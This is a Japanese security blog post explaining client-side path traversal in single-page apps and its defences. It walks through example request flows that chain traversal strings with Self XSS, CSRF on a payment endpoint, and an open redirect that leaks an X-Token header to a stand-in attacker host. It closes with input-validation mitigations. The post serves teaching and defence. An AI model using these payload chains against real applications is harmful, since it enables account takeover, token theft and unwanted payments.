GMO Flatt Security Blog

GMO Flatt Security株式会社の公式ブログです。プロダクト開発やプロダクトセキュリティに関する技術的な知見・トレンドを伝える記事を発信しています。

GMO Flatt Security株式会社の公式ブログです。
プロダクト開発やプロダクトセキュリティに関する技術的な知見・トレンドを伝える記事を発信しています。

SPAで発生しやすい「クライアントサイドパストラバーサル」リスクとその対策

はじめに

こんにちは。株式会社GMO Flatt Securityセキュリティエンジニアの森(@ei01241)です。

近年、React、Vue、Angularといったフロントエンドフレームワークを用いたSPAの開発が主流となり、Webアプリケーションにおけるクライアントサイドの役割はますます増大しています。動的なルーティングやAPIからのデータ取得など、多くの処理がJavaScriptによって実行されます。

このようなクライアントサイドでの処理の増加に伴い、新たなセキュリティリスクも生まれています。その一つがクライアントサイドのパストラバーサルです。サーバーサイドのパストラバーサルほど広く認知されていないかもしれませんが、適切に対策しなければ、CSRFやアクセストークンのリークなどにつながる可能性があります。

本稿では、クライアントサイドパストラバーサルがどのような脆弱性であり、どのような影響を及ぼし、そしてどのように対策すべきかを解説します。

免責事項

本稿の内容はセキュリティに関する知見を広く共有する目的で執筆されており、脆弱性の悪用などの攻撃行為を推奨するものではありません。許可なくプロダクトに攻撃を加えると犯罪になる可能性があります。当社が記載する情報を参照・模倣して行われた行為に関して当社は一切責任を負いません。

クライアントサイドパストラバーサルの概要

クライアントサイドパストラバーサルとは、被害者に「Same Originな任意のパスに向けたリクエスト送信」を強制できる脆弱性です。Webアプリケーションのクライアントサイドが、ユーザーが制御可能な入力値をURLに利用する際に、その入力値を適切に検証しないことが原因で発生します。

これは、サーバー上の意図しないファイルにアクセスするサーバーサイドのパストラバーサルとは異なり、クライアントのコンテキスト内で発生し、クライアントがアクセス可能なリソースやクライアントサイドの動作に影響を与える点が特徴です。

クライアントサイドパストラバーサルの原理

脆弱性を見る前に、まずは正常系を確認しましょう。

正常系

例えば、クライアントサイドでルーティングしたパスのidを利用し、そのパスを動的に組み立ててAPIアクセスして、レスポンスを表示する機能があるとします。

クライアントサイドのルーティングページ

<Routes>
  <Route path="/posts/:id" element={<Posts />} />
</Routes>

クライアントサイドの投稿詳細ページ

const { id } = useParams();
const res = await fetch(`/api/posts/${id}`);

正常系のフローは以下の通りです。

正常系

id12だったとします。

  1. ユーザーが/posts/12にアクセスする
  2. JavaScriptはidとして12を取得する
  3. 文字列を結合してGET /api/posts/12fetchする

     GET /api/posts/12 HTTP/1.1
    
  4. レスポンスのJSONを取得する

     HTTP/1.1 200 OK
     Content-Type: application/json
    
     {
       "content": "<p>hello</p>"
     }
    
  5. contentの値を表示する

では、ここでid..%5C..%5Chogeを渡すとどうなるでしょうか?

異常系

異常系のフローは以下の通りです。

異常系

  1. ユーザーが/posts/..%5C..%5Chogeにアクセスする
  2. JavaScriptはidとして..%5C..%5Chogeを取得する
  3. 取得した文字列を結合する/api/posts/..\..\hoge
  4. その結果、/hogeと評価する
  5. GET /hogefetchする

     GET /hoge HTTP/1.1
    
  6. エラーレスポンスのHTMLを取得する

     HTTP/1.1 404 Not Found
     Content-Type: text/html
    
     <!DOCTYPE html>
     ...
    
  7. contentの値を取得しようとするが、JSONでもないためエラーを出力する

ここまでで原理についてはわかりました。しかし、一体何が嬉しいのでしょうか?一見すると、Same Originな任意のパスにGETリクエストさせるなら、従来の手法通り罠リンクにアクセスさせるだけでも良さそうに見えます(例えば、副作用があるGETリクエストはそもそも素直に罠リンクにアクセスさせればいいです)。

実は、クライアントサイドパストラバーサルの真価は他の脆弱性と組み合わせることで発揮されます。他の脆弱性の組み合わせを見ていきましょう。

クライアントサイドパストラバーサルの応用

クライアントサイドパストラバーサルは他の脆弱性と組み合わせることで真価を発揮します。

ここでは、以下の3パターンの組み合わせについてそれぞれ見ていきましょう。

  • Self XSSからXSSへの昇格
  • CSRF(CSPT2CSRF)
  • カスタムヘッダーのリーク

Self XSSからXSSへの昇格

Self XSSとは、ユーザー自身がペイロードを入力することでユーザー自身にのみ発火するXSSです。そのままでは被害者に対して影響を与えられないため、攻撃者はこれを通常のXSS(攻撃者が罠を仕掛け、それをユーザーに踏ませる)に昇格したいモチベーションがあります。

先ほどの例でcontentに対してSelf XSSが存在するとします。

HTTP/1.1 200 OK
Content-Type: application/json

{
  "content": "<img src onerror=alert(origin)>"
}

どうにかして、被害者に上記のようなJSONを返すエンドポイントにリクエストさせることができれば、被害者のブラウザでXSSが発火します。しかし、どうしたら良いでしょうか?

仮に、攻撃者が制御できてXSSが発火するようなJSONを返すエンドポイント(/arbitraryContent)が存在する場合には、クライアントサイドパストラバーサルを利用してSelf XSSをXSSに昇格できます。攻撃者が行うことは罠リンクを被害者に開かせるだけです。

Self XSSからXSSへの昇格

  1. 被害者が/posts/..%5C..%5CarbitraryContentにアクセスする
  2. JavaScriptはidとして..%5C..%5CarbitraryContentを取得する
  3. 文字列を結合した結果、GET /arbitraryContentfetchする

     GET /arbitraryContent HTTP/1.1
    
  4. レスポンスのJSONを取得する

     HTTP/1.1 200 OK
     Content-Type: application/json
    
     {
       "content": "<img src onerror=alert(origin)>"
     }
    
  5. contentの値を表示してXSSが発火する

さて、たしかに攻撃者が制御できてXSSが発火するようなJSONを返すエンドポイントが存在する場合には、Self XSSをXSSに昇格できそうです。しかし、そんな都合の良いJSONを返すエンドポイントは存在するのでしょうか?

実は、以下の機能やエンドポイントは攻撃者が制御できてXSSが発火するようなJSONを返せる場合があります。

  • ファイルアップロード機能
  • オープンリダイレクトの脆弱性が存在するエンドポイント
  • 同じか過多なJSONのプロパティを返すエンドポイント

それぞれを見ていきましょう。

ファイルアップロード機能

GET /files/123で攻撃者がアップロードしたJSONファイルを参照できる場合には以下の手順でSelf XSSをXSSに昇格できます。

ファイルアップロード機能

  1. 予め攻撃者がPOST /filesで以下のJSONをファイルとしてアップロードする

     POST /files HTTP/1.1
     Content-Type: application/json
    
     {
       "content": "<img src onerror=alert(origin)>"
     }
    
  2. 被害者が/posts/..%5C..%5Cfiles%5C123にアクセスする

  3. JavaScriptはidとして..%5C..%5Cfiles%5C123を取得する
  4. 文字列を結合した結果、GET /files/123fetchする

     GET /files/123 HTTP/1.1
    
  5. レスポンスのJSONを取得する

     HTTP/1.1 200 OK
     Content-Type: application/json
    
     {
       "content": "<img src onerror=alert(origin)>"
     }
    
  6. contentの値を表示してXSSが発火する

オープンリダイレクト

他にも、/redirect?url=...で300系のオープンリダイレクトが存在する場合には以下の手順でSelf XSSをXSSに昇格できます。

オープンリダイレクト

  1. 予め攻撃者がhttps://attacker-jsonで以下のJSONを返すようにする

     {
       "content": "<img src onerror=alert(origin)>"
     }
    
  2. 被害者が/posts/..%5C..%5Credirect%3Furl=https:%2F%2Fattacker-json%2Fにアクセスする

  3. JavaScriptはidとして..%5C..%5Credirect%3Furl=https:%2F%2Fattacker-json%2Fを取得する
  4. 文字列を結合した結果、GET /redirect?url=https://attacker-jsonfetchする
  5. 302レスポンスを取得する

     HTTP/1.1 302 Found
     Location: https://attacker-json
    
  6. リダイレクトしてhttps://attacker-jsonにアクセスする

  7. レスポンスのJSONを取得する

     HTTP/1.1 200 OK
     Content-Type: application/json
    
     {
       "content": "<img src onerror=alert(origin)>"
     }
    
  8. contentの値を表示してXSSが発火する

同じか過多なJSONのプロパティを返すエンドポイント

他にも、あるエンドポイントが元のレスポンスと同じまたは過多なプロパティのJSONを返す場合には以下の手順でSelf XSSをXSSに昇格できます。

例えば、同じプロパティか過多なプロパティのJSONとは、それぞれ次のようなJSONになります。

{
  "content": "<p>hello</p>"
}
{
  "name": "flatt"
  "content": "<p>hello</p>"
}

このようなJSONを返すエンドポイント(例えば、/profile)を見つけて、予めSelf XSSペイロードを返すようにする必要があるということです。

同じか過多なJSONのプロパティを返すエンドポイント

  1. 攻撃者がPOST /profileを更新し、以下のJSONを返すようにする

     POST /profile HTTP/1.1
     Content-Type: application/json
    
     {
       "content": "<img src onerror=alert(origin)>"
     }
    
  2. 被害者が/posts/..%5C..%5Cprofile%5C123にアクセスする

  3. JavaScriptはidとして..%5C..%5Cprofile%5C123を取得する
  4. 文字列を結合した結果、GET /profile/123fetchする

     GET /profile/123 HTTP/1.1
    
  5. レスポンスのJSONを取得する

     HTTP/1.1 200 OK
     Content-Type: application/json
    
     {
       "content": "<img src onerror=alert(origin)>"
     }
    
  6. contentの値を表示してXSSが発火する

ここまでで、クライアントサイドパストラバーサルと3パターンの脆弱性をそれぞれ組み合わせることで、Self XSSをXSSに昇格できることがわかりました。

では、他にどんな脆弱性との組み合わせが考えられるでしょうか?

CSRF(CSPT2CSRF)

現代のブラウザではSameSite Cookieやカスタムヘッダーによる認証などによってCSRFは減ってきていますが、依然として大きな脅威ではあります。ここで、クライアントサイドパストラバーサルを組み合わせることで、従来のCSRFでは付与できないカスタムヘッダーやSameSiteなCookieを付与してリクエストできます(Same OriginであればSameSiteです)。つまり、CSRFの範囲を拡張させる脆弱性とも言えるわけです。

そして、クライアントサイドパストラバーサルによるCSRFを考えるためには、ソースとシンクに分離して考えます。

今回のケースにおいて、ソースとはクライアントサイドパストラバーサルを引き起こすユーザー入力のことです。次のようなユーザー入力が考えられます。

  • パスパラメーター
  • クエリパラメーター
  • フラグメント
  • Web Storage

今回のケースにおいて、シンクとはクライアントサイドパストラバーサルによって発行される正常なAPIリクエストのことです。攻撃者はメソッド、ヘッダー、リクエストボディは制御できないため、どんなAPIリクエストが送信できるかはフロントエンドの実装に依存します。送信できるリクエストがGETの場合はGETシンク、POSTの場合はPOSTシンクというように、CSPT2CSRFの文脈ではメソッド名を付けたシンクで呼ぶことが多いようです。

脆弱性を見る前に、まずは正常系を確認しましょう。

正常系

例えば、クライアントサイドのidをパスに文字列結合してAPIにリクエストし、そのレスポンスに値が反射されるとします。 そして、その反射されたレスポンスのidをクライアントサイドでパスに文字列結合して、AuthorizationヘッダーとCSRFトークンを付与してPOSTリクエストする機能があるとします。

クライアントサイドのルーティングページ

<Routes>
  <Route path="/note/draft?id=:id" element={<Posts />} />
</Routes>

クライアントサイドの投稿詳細ページ

const { id } = useParams();
const res = await fetch(`/api/note/draft?id=${id}`);
const data = await res.json();

await fetch(`/api/note/${data.id}/details`, {
  method: 'POST',
  headers: {
    'Content-Type': 'application/json',
    'Authorization': `Bearer ${bearer}`,
    'CSRF-Token': `${csrf_token}`
  },
  body: JSON.stringify({}),
});

GET /api/note/draft?id=${id}の想定レスポンスは以下の通りです。

{
  "id": "${id}"
}

正常系のフローは以下の通りです。

正常系

  1. ユーザーが/note/draft?id=123にアクセスする
  2. JavaScriptはidとして123を取得し、文字列を結合した結果、GET /api/note/draft?id=123fetchする

     GET /api/note/draft?id=123 HTTP/1.1
    
  3. レスポンスとしてidを受け取る

     {
       "id": "123"
     }
    
  4. JavaScriptはidとして123を取得する

  5. 文字列を結合した結果、POST /api/note/123/detailsfetchする

     POST /api/note/123/details HTTP/1.1
     Authorization: Bearer bearer
     CSRF-Token: csrf_token
    
     {}
    

ここでのソースはクエリパラメーターで、シンクはPOSTシンクということになります。

ここで例えば、事前にカートに入れていた決済を確定する別のエンドポイントが次のコードで実装されているとします。

await fetch(`/api/payment/${id}/confirm`, {
  method: 'POST',
  headers: {
    'Content-Type': 'application/json',
    'Authorization': `Bearer ${bearer}`,
    'CSRF-Token': `${csrf_token}`
  },
  body: JSON.stringify({}),
});

攻撃手順

この場合、以下の手順でCSRFができます。

CSRF

  1. 被害者が/note/draft?id=..%5Cpayment%5C12%5Cconfirm?にアクセスする
  2. JavaScriptはidとして..%5Cpayment%5C12%5Cconfirm?を取得し、文字列を結合した結果、GET /api/note/draft?id=..%5Cpayment%5C12%5Cconfirm?fetchする

     GET /api/note/draft?id=..%5Cpayment%5C12%5Cconfirm? HTTP/1.1
    
  3. レスポンスとしてidを受け取る

     {
       "id": "..%5Cpayment%5C12%5Cconfirm?"
     }
    
  4. JavaScriptはidとして..%5Cpayment%5C12%5Cconfirm?を取得する

  5. 文字列を結合した結果、POST /api/payment/12/confirm?/detailsfetchする

     POST /api/payment/12/confirm?/details HTTP/1.1
     Authorization: Bearer bearer
     CSRF-Token: csrf_token
    
     {}
    
  6. 意図せずに決済の確定がされる(CSRF)

ここではクエリパラメーターがレスポンスのJSONに反射する実装を考えましたが、このケースに限らず元のJSONと同じか過多なプロパティを返してかつidを自由に制御できるエンドポイントが見つかれば、フロントエンド上で見つけた任意のPOSTシンクを用いた攻撃が可能です。

なお、APIサーバーはリクエストのJSONのプロパティが過多であっても許容することが多いため、POSTシンクなどはプロパティ過多でも問題ないことが多いです。

さて、XSSとCSRF以外にもクライアントサイドパストラバーサルの組み合わせが考えられないでしょうか?

カスタムヘッダーのリーク

例えば、カスタムヘッダーでアクセストークンを送信するとします。

GET / HTTP/1.1
Host: example.com
X-Token: xxxxxxxxxx

/redirect?url=...で300系のオープンリダイレクトが存在する場合には以下の手順でカスタムヘッダーをリークできます。ただし、Authorizationヘッダーはブラウザで対策されているためリークできません。

カスタムヘッダーのリーク

  1. 予め攻撃者はhttps://attacker-hostで以下のプリフライトレスポンスを返すようにする

     HTTP/1.1 200 OK
     Access-Control-Allow-Origin: https://example.com
     Access-Control-Allow-Headers: X-Token
    
  2. 被害者が/posts/..%5C..%5Credirect%3Furl=https:%2F%2Fattacker-host%2Fにアクセスする

  3. JavaScriptはidとして..%5C..%5Credirect%3Furl=https:%2F%2Fattacker-host%2Fを取得する
  4. 文字列を結合した結果、`GET /redirect?url=https://attacker-hostfetchする

     GET /redirect?url=https://attacker-host HTTP/1.1
    
  5. 302レスポンスを取得する

     HTTP/1.1 302 Found
     Location: https://attacker-host
    
  6. リダイレクトしてhttps://attacker-hostにプリフライトリクエストを送信する

     OPTIONS / HTTP/1.1
     Host: attacker-host
     Access-Control-Request-Method: GET
     Access-Control-Request-Headers: X-Token
    
  7. プリフライトレスポンスを取得する

     HTTP/1.1 200 OK
     Access-Control-Allow-Origin: https://example.com
     Access-Control-Allow-Headers: X-Token
    
  8. カスタムヘッダーがリークする

     GET / HTTP/1.1
     Host: attacker-host
     X-Token: xxxxxxxxxx
    

ここまでで、クライアントサイドパストラバーサルの原理、応用までを見てきました。最後に対策を考えてみましょう。

クライアントサイドパストラバーサルの対策

APIアクセスの前にクライアントサイドで入力値を検証する

APIアクセスの前にクライアントサイドで入力値を検証しましょう。例えば、APIに送信するIDが数値であることが確定している場合、JavaScriptの正規表現などを用いて、数値以外の文字が含まれていないかを検証します。これにより、攻撃者が悪意のあるパス文字列を紛れ込ませることを防ぎます。また、検証の際にはURLの正規化によるバイパスに注意しましょう。攻撃者は、URLエンコードや相対パスの異なる表現(.///など)を利用して、バリデーションをバイパスしようとする可能性があります。APIにリクエストを送信する前に、URLSearchParamsなどを利用してパラメータを適切にエンコードし、意図しないパスの解釈を防ぎましょう。

const userId = userInput;
const idRegex = /^[0-9]+$/;

if (!idRegex.test(userId)) {
  console.error("無効なユーザーIDです。");
  return;
}

fetch(`/api/users/${userId}`);

過多なJSONプロパティをリクエスト/レスポンスで拒否する(ただし、副次的な対策です)

可能であれば、過多なJSONプロパティをリクエスト/レスポンスで拒否しましょう。APIとの通信において、予期しないプロパティがリクエストやレスポンスに含まれている場合、それが攻撃者の意図的な注入である可能性があります。クライアントサイドで、APIに送信するJSONオブジェクトに必要なプロパティのみを含めるようにし、予期しないプロパティが含まれていないかチェックする処理を追加することを検討しましょう。ただし、この対策はJSONの柔軟性を制限する対策であるため、クライアントサイドで入力値を検証することが最優先になります。

おわりに

本稿では、SPAにおけるパストラバーサルを具体例と共に紹介しました。SPAのパストラバーサルは発見されてから日が浅く、まだまだ広く知見が浸透していないと感じています。入力値を検証することはセキュリティ対策の基本ですが、クライアントサイドの検証は盲点になりやすいのかもしれません。 本稿がSPAセキュリティの一助になれば幸いです。

GMO Flatt Securityの開発組織のためのセキュリティサービス

参考文献